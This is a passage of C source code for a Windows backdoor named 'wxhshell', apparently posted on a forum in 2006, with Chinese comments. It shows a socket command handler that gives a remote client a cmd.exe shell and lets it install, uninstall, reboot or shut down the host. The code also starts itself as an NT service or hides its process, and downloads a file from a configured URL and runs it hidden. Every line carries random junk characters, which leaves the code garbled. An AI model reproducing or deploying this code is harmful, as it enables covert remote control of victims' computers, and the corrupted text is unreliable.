    switch(cmd[0]) { pVC; ''E  
  OcZ8:`=%  
  // 帮助 v0W/7?D  
  case '?': { QvDD   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8]A`WDO3  
    break; 9~6~[z  
  } i3<ZFR  
  // 安装 m:C|R-IL  
  case 'i': { ^ jT1q_0  
    if(Install()) GU]_Z!3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !A#(bC  
    else jB0ED0)wX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t4FaU7  
    break; 5tcJT z  
    } >OW>^%\!1  
  // 卸载 .WpvDDUK3  
  case 'r': { 11BfJvs:  
    if(Uninstall()) o WcBQ|   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ds<q"S {p  
    else \"=b8x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k-|b{QZ8!;  
    break; O_|p{65  
    } PJ'.s  
  // 显示 wxhshell 所在路径 8BggK6X  
  case 'p': { ?vocI  
    char svExeFile[MAX_PATH]; )jm u*D5N  
    strcpy(svExeFile,"\n\r"); 9p%8VDF=  
      strcat(svExeFile,ExeFile); Pskg68W  
        send(wsh,svExeFile,strlen(svExeFile),0); H<C+ rAIb  
    break; g/jlG%kI}  
    } |emZZj  
  // 重启 ]?n~?dD{]  
  case 'b': { j[&C6l+wH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =7 ${bp!  
    if(Boot(REBOOT)) p'YNj3&u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}? q  
    else { A"no!AN  
    closesocket(wsh); JTfG^Nv>K  
    ExitThread(0); U Y')|2y 5  
    } 6dQ]=];  
    break; .+2@(r  
    } _sI\^yZd  
  // 关机 YfUUbV  
  case 'd': { :Wmio\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ 0aa0=  
    if(Boot(SHUTDOWN)) Q\{$&0McF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!*K)x,"<  
    else { i~;Yrc%AEX  
    closesocket(wsh); <|c[ #f  
    ExitThread(0); bT#re  
    } X8| 0RU@f  
    break; 1,(uRS#bk  
    } _do(   
  // 获取shell G8Sx;Xi  
  case 's': { h0n,WU/Kw  
    CmdShell(wsh); X7{ h/^  
    closesocket(wsh); X)k+BJ  
    ExitThread(0); zx=AT  
    break; M`gr*p  
  } ]q|^?C  
  // 退出 Fc.1)yh.  
  case 'x': { :}}~ $$&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~@N0$S  
    CloseIt(wsh); sN9 SuQ  
    break; .qG*$W2f  
    } nN[gAM (  
  // 离开 .m \y6  
  case 'q': { 3FpSo+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q+}Er*r  
    closesocket(wsh); BHEZ<K[U   
    WSACleanup(); o7WK"E!pF'  
    exit(1); k=r)kkO)  
    break; Fmux#}Z  
        } g xf|L>=  
  } !>gu#Q{\-  
  } 4KCJ(<p|  
Ceco^Mw  
  // 提示信息 (b4;c=<[{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @gHWU>k,A  
} - |j4u#z  
  } TWk1`1|  
kG70j{gf  
  return; [t}$W*hY  
} a<ztA:xt|1  
+\@WOs  
// shell模块句柄 ;yVT:qd %  
int CmdShell(SOCKET sock) Ij}k>qO/2  
{ +/Q ?<*[  
STARTUPINFO si; > Vvjs  
ZeroMemory(&si,sizeof(si)); L fx$M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F^)SQ%xx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PDH00(#;+  
PROCESS_INFORMATION ProcessInfo; 6m!%X GZ T  
char cmdline[]="cmd";  i%a jL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]f~mR_E  
  return 0; _aLml9f W  
} =Zc Vywz;+  
QwL'5ws{q  
// 自身启动模式 sU }.2k  
int StartFromService(void) FsyM{LT  
{ c<J/I_!  
typedef struct WG?;Z  
{ soi.`xE  
  DWORD ExitStatus; r7=r~3)  
  DWORD PebBaseAddress; g4fe(.?c,  
  DWORD AffinityMask; ZQQ0}  
  DWORD BasePriority; f}U@e0Lsb  
  ULONG UniqueProcessId; %HK\  
  ULONG InheritedFromUniqueProcessId; {Y#$  
}   PROCESS_BASIC_INFORMATION; rS/}!|uAu  
@5y ~A}Vd  
PROCNTQSIP NtQueryInformationProcess; hJcN*2\:  
x&PVsXdt5m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,@*Srrw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uY'77,G_J  
qqR8E&Y{  
  HANDLE             hProcess; fR6.:7&  
  PROCESS_BASIC_INFORMATION pbi; %juR6zB%8  
F4%vEn\!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5v@-.p  
  if(NULL == hInst ) return 0; jaq`A'o5  
K=`;D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bPHqZ*f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z 71.*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %x G3z7;  
:?.RZKXQF  
  if (!NtQueryInformationProcess) return 0; GDUOUl&  
bRzw.(k0`r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \L@DDK|"`6  
  if(!hProcess) return 0; RN"O/b}qQ  
E0Neo _7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O3>m,v  
WFBVAD  
  CloseHandle(hProcess); ]@D#<[5\  
%Z#s9QC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 39+6ZTqx  
if(hProcess==NULL) return 0; g.re`m|Aj  
w2/3\3p  
HMODULE hMod; !33)6*s  
char procName[255]; 0Zq jq0O#  
unsigned long cbNeeded; #=* y7w  
JM?X]l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D+"-(k  
&+Iv"9  
  CloseHandle(hProcess); 2/]74d8  
cLpkgK&a  
if(strstr(procName,"services")) return 1; // 以服务启动 &bO5+[  
?\D=DIN-r  
  return 0; // 注册表启动 8A3pYW-  
} HI}9 "(t}  
!u;r<:g!  
// 主模块 zu@5,AH  
int StartWxhshell(LPSTR lpCmdLine) t@(`24  
{ `0qBuE_^h  
  SOCKET wsl; P b(XR+  
BOOL val=TRUE; .h;PMY+  
  int port=0; *+wGXm  
  struct sockaddr_in door; _CDl9pP36#  
@Pt,N qj:  
  if(wscfg.ws_autoins) Install(); =oPc\VYW  
IV5B5Q'D  
port=atoi(lpCmdLine); jbU=D:|  
>P/Nb]C  
if(port<=0) port=wscfg.ws_port; 1 ynjDin<  
T1&^IO-F7$  
  WSADATA data; 3Wl,T5}{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fu%%:3_  
j.FW*iX1C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?t JyQT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2W_p)8t> b  
  door.sin_family = AF_INET; DG!H8^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S|pMX87R  
  door.sin_port = htons(port); \~:Uj~  
AUk,sCxd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;GgW&*|  
closesocket(wsl); wCwJ#-z.=  
return 1; C25r3bj  
} mx'!I7b(L/  
Qmk}smvH  
  if(listen(wsl,2) == INVALID_SOCKET) { SX4"HadV>  
closesocket(wsl); HZH zjrx  
return 1; n4YedjHSN  
} y[W<vb+F  
  Wxhshell(wsl); \ M_}V[1+  
  WSACleanup(); 1gTW*vLM\  
,>^6ztM  
return 0; aNLkkkJg<;  
>pVrY; P[  
} aq|R?  
38[ko 3  
// 以NT服务方式启动 EAgNu?L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SREe, e\  
{ nlfu y[oX  
DWORD   status = 0; U60jkzIRH  
  DWORD   specificError = 0xfffffff; */|Vyp-  
6^oQ8unmS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kYVn4Wq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; soH M5<U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0(Hhb#WDh\  
  serviceStatus.dwWin32ExitCode     = 0; _7O;ED+  
  serviceStatus.dwServiceSpecificExitCode = 0; I\BcG(hlJ  
  serviceStatus.dwCheckPoint       = 0; GomTec9.  
  serviceStatus.dwWaitHint       = 0; (61_=,jv\h  
0M'[|ci d|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VGVZ`|  
  if (hServiceStatusHandle==0) return; [CBhipoc  
QBNnvg4v  
status = GetLastError(); b~1]}9TJ  
  if (status!=NO_ERROR) g@va@*|~d  
{ 0!:1o61  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &7{/ x~S{  
    serviceStatus.dwCheckPoint       = 0; U8T"ABvFP  
    serviceStatus.dwWaitHint       = 0;  b* QRd  
    serviceStatus.dwWin32ExitCode     = status; '>}dqp{Wr  
    serviceStatus.dwServiceSpecificExitCode = specificError; [&Z3+/lR*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #DN5S#Ic  
    return; {x+"Ru~7,  
  } ^+ hJ& 9W  
m5G9 B-\?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TJB) ]d<  
  serviceStatus.dwCheckPoint       = 0; RW!_Zz Z  
  serviceStatus.dwWaitHint       = 0; #9{9T"ed  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9'qU4I  
} Y SvZ7G(m>  
'%u7XuU-]  
// 处理NT服务事件,比如:启动、停止 [Ipg",Su;f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r@2{>j8  
{ LxM.z1  
switch(fdwControl) 6evW O!  
{ g"60{  
case SERVICE_CONTROL_STOP: |HjoaN)  
  serviceStatus.dwWin32ExitCode = 0; `ehZ(H}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -7^A_!.  
  serviceStatus.dwCheckPoint   = 0; :%!}%fkxH  
  serviceStatus.dwWaitHint     = 0; jAa{;p"jU  
  { 5&y;r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \,w*K'B_Y  
  } U%Kv}s/(F{  
  return; D*>EWlZ   
case SERVICE_CONTROL_PAUSE: gbf-3KSp^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mp V3.  
  break; %7X<:f|N8x  
case SERVICE_CONTROL_CONTINUE: \WDL?(G<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Vi[195]2  
  break; T,Bu5:@#  
case SERVICE_CONTROL_INTERROGATE: =aWj+ggd@  
  break; [|=#~(yYQ  
}; ,s%1#cbR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e~#"#?  
} pT90TcI2  
xm)s%"6n  
// 标准应用程序主函数 kHO2&"6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +@'{  
{ 2\$P&L a  
|M*jo<C  
// 获取操作系统版本 )YDuq(g&  
OsIsNt=GetOsVer(); RG'Ft]l92N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yzvNv]Z'*  
M  `QYrH  
  // 从命令行安装 cB;:}Q08#  
  if(strpbrk(lpCmdLine,"iI")) Install(); p)t1] <,Of  
_h% :Tu  
  // 下载执行文件 $=x1_  
if(wscfg.ws_downexe) { 0Cox+QJt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K+0&~XU  
  WinExec(wscfg.ws_filenam,SW_HIDE); q(i^sE[y  
} P9Gjsu #  
5/v,|  
if(!OsIsNt) { (1 "unP-  
// 如果时win9x,隐藏进程并且设置为注册表启动 %:v59:i}  
HideProc(); sHqs)@D  
StartWxhshell(lpCmdLine); fp jy[$8  
} }!5x1F!  
else B!`Dj,_  
  if(StartFromService()) P87!+pB(  
  // 以服务方式启动 h>'9-j6B  
  StartServiceCtrlDispatcher(DispatchTable); |WopsV %  
else pjC2jlwm*  
  // 普通方式启动 %idn7STJ}  
  StartWxhshell(lpCmdLine); 1]yOC)u"i  
>-2eZ(n)"  
return 0; [79 eq=  
}
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只看该作者 1 发表于: 2006-10-10
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